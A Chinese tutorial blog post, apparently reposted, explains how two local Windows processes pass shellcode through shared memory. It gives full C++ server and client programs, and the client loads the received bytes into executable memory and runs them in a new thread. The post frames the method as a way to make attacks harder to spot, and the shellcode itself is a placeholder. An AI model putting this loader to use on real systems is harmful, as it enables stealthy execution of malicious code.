本文介绍: 在计算机安全领域,ShellCode是一段用于利用系统漏洞执行特定任务机器码。为了增加攻击难度研究人员经常探索新的传递`ShellCode`的方式本文介绍了一种使用共享内存方法通过方法两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将`ShellCode`打散,而作为客户端也不需要时时刻刻在本地存放`ShellCode`代码,这能保证客户端安全性

计算安全领域,ShellCode是一段用于利用系统漏洞执行特定任务的机器码。为了增加攻击难度研究人员经常探索新的传递ShellCode方式本文介绍了一种使用共享内存方法通过方法两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性

服务端部分

CreateFileMapping

用于创建一个文件映射对象,将文件或者其他内核对象映射进程地址空间这个函数常用共享内存创建

下面是 CreateFileMapping 函数基本语法

HANDLE CreateFileMapping(
  HANDLE                hFile,
  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  DWORD                 flProtect,
  DWORD                 dwMaximumSizeHigh,
  DWORD                 dwMaximumSizeLow,
  LPCTSTR               lpName
);

参数说明

成功调用 CreateFileMapping返回一个文件映射对象的句柄,失败返回 NULL。通常创建成功后,可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作

MapViewOfFile

用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域内容

以下是 MapViewOfFile 函数的基本语法:

LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD  dwDesiredAccess,
  DWORD  dwFileOffsetHigh,
  DWORD  dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
);

参数说明

成功调用 MapViewOfFile返回映射视图起始地址,失败返回 NULL。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile 函数解除映射。

CreateMutex

用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保多线程或多进程环境中对资源互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争冲突

以下是 CreateMutex 函数的基本语法:

HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL                  bInitialOwner,
  LPCTSTR               lpName
);

参数说明

成功调用 CreateMutex返回互斥体对象的句柄,失败返回 NULL。在使用完互斥体后,应该通过 CloseHandle 函数关闭句柄以释放资源

CreateEvent

用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间通信同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行

以下是 CreateEvent 函数的基本语法:

HANDLE CreateEvent(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCTSTR               lpName
);

参数说明

成功调用 CreateEvent返回事件对象的句柄,失败返回 NULL。在使用完事件对象后,应该通过 CloseHandle 函数关闭句柄以释放资源。

WaitForSingleObject

用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。

以下是 WaitForSingleObject 函数的基本语法:

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

参数说明

WaitForSingleObject 返回一个 DWORD 类型的值,表示等待的结果。可能的返回值包括:

这个函数是同步函数,调用它的线程阻塞,直到等待的对象变为 signaled 状态或者等待时间超时

ReleaseMutex

用于释放之前由 WaitForSingleObjectWaitForMultipleObjects 等函数获取的互斥体对象的所有权

以下是 ReleaseMutex 函数的基本语法:

BOOL ReleaseMutex(
  HANDLE hMutex
);

参数说明

  • hMutex: 要释放的互斥体对象的句柄。

ReleaseMutex 返回一个 BOOL 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败返回值为零。可以通过调用 GetLastError 获取详细错误信息

互斥体(Mutex)是一种同步对象,用于控制共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权

SetEvent

用于将指定的事件对象的状态设置signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObjectWaitForMultipleObjects)一起使用,以实现线程之间或进程之间的同步。

以下是 SetEvent 函数的基本语法:

BOOL SetEvent(
  HANDLE hEvent
);

参数说明

  • hEvent: 事件对象的句柄。

SetEvent 函数返回一个 BOOL 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息

事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行

有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘按下时则会自动填充缓冲区为特定内容

#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

char ShellCode[] = "此处是ShellCode";

using namespace std;

int main(int argc,char *argv[])
{
  // 创建共享文件句柄
  HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
  if (shareFileHandle == NULL)
  {
    return 1;
  }

  //映射缓冲区视图,得到指向共享内存指针
  LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
  if (lpBuf == NULL)
  {
    CloseHandle(shareFileHandle);
    return 1;
  }

  // 创建互斥器
  H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
  H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");

  // 操作共享内存
  while (true)
  {
    getchar();

    // 使用互斥体加锁,获得互斥器的拥有权
    WaitForSingleObject(H_Mutex, INFINITE);
    memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
    ReleaseMutex(H_Mutex);                           // 放锁
    SetEvent(H_Event);                               // 激活等待的进程
  }

  CloseHandle(H_Mutex);
  CloseHandle(H_Event);
  UnmapViewOfFile(lpBuf);
  CloseHandle(shareFileHandle);
  return 0;
}

客户部分

OpenFileMapping

用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据机制

以下是 OpenFileMapping 函数的基本语法:

HANDLE OpenFileMapping(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

参数说明

  • dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如 FILE_MAP_READFILE_MAP_WRITE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的文件映射对象。

OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息

OpenEvent

用于打开一个已存在命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。

以下是 OpenEvent 函数的基本语法:

HANDLE OpenEvent(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

参数说明

  • dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如 EVENT_MODIFY_STATEEVENT_QUERY_STATE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的事件对象。

OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息

VirtualAlloc

用于在进程的虚拟地址空间中分配一段内存区域这个函数通常用动态分配内存,而且可以选择性地将其初始化为零。

以下是 VirtualAlloc 函数的基本语法:

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

参数说明:

VirtualAlloc 函数返回一个指向分配的内存区域指针。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息

CreateThread

用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行

以下是 CreateThread 函数的基本语法:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

参数说明:

  • lpThreadAttributes: 用于设置线程的安全属性,通常设置为 NULL
  • dwStackSize: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。
  • lpStartAddress: 指定线程函数的地址,新线程将从此地址开始执行
  • lpParameter: 传递给线程函数的参数。
  • dwCreationFlags: 指定线程的创建标志,通常设置为 0。
  • lpThreadId: 接收新线程的标识符。如果为 NULL,则不接收线程标识符

CreateThread 函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息

客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode执行后反弹完整代码如下所示

#include <iostream>
#include <Windows.h>
#include <winbase.h>

using namespace std;

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

int main(int argc, char* argv[])
{
  // 打开共享文件句柄
  HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
  if (sharedFileHandle == NULL)
  {
    return 1;
  }

  // 映射缓存视图,得到指向共享内存的指针
  LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if (lpBuf == NULL)
  {
    CloseHandle(sharedFileHandle);
    return 1;
  }

  H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
  if (H_Event == NULL)
  {
    return 1;
  }

  char buffer[4096] = {0};

  while (1)
  {
    HANDLE hThread;

    // 互斥体接收数据加锁
    WaitForSingleObject(H_Event, INFINITE);
    WaitForSingleObject(H_Mutex, INFINITE);            // 使用互斥体加锁
    memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1);   // 接收数据到内存
    ReleaseMutex(H_Mutex);                             // 放锁
    cout << "接收到的ShellCode: " << buffer << endl;

    // 注入ShellCode并执行
    void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(ShellCode, buffer, sizeof(buffer));

    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
  }

  CloseHandle(H_Event);
  CloseHandle(H_Mutex);
  UnmapViewOfFile(lpBuf);
  CloseHandle(sharedFileHandle);
  return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在风险。以下是一些建议

  1. 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险
  2. 加强系统安全策略 使用强密码、及时更新系统和应用程序启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击
  3. 监控响应 部署实时监控响应系统,能够及时检测异常行为并采取相应措施,对于减缓潜在威胁影响十分重要。

总结

本文介绍了通过共享内存传递Shellcode方法,通过这种巧妙的本地攻击方式两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施确保系统的整体安全性

原文地址:https://blog.csdn.net/lyshark_csdn/article/details/134840650

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_50042.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注